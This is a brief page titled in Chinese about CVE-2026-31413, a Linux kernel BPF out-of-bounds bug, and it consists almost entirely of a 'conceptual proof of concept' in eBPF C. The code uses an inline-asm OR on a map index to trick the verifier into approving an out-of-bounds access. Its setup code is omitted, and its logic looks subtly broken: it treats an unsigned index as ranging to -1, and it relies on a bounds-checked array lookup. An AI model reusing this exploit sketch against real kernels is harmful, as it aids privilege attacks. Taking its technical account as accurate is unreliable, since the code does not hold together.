CVE-2026-31413 Linux内核BPF越界访问漏洞

// Conceptual PoC for CVE-2026-31413 // Demonstrates the verifier logic error for BPF_OR #include <linux/bpf.h> #include <bpf/bpf_helpers.h> struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u64); } my_map SEC(".maps"); SEC("socket") int trigger_vuln(struct __sk_buff *skb) { __u32 index = 0; // Logic to constrain 'index' to range [-1, 0] in the verifier's eyes // (Specific setup code omitted for brevity) // Vulnerable operation: BPF_OR with constant // Verifier assumes result is 0, Runtime computes 0 | K = K __asm__ volatile ( "%0 |= 0x1000;" : "+r"(index) ); // Out-of-bounds access // Verifier approves because it thinks index is 0 // Runtime executes with index = 0x1000 return bpf_map_lookup_elem(&my_map, &index) ? 1 : 0; } char _license[] SEC("license") = "GPL";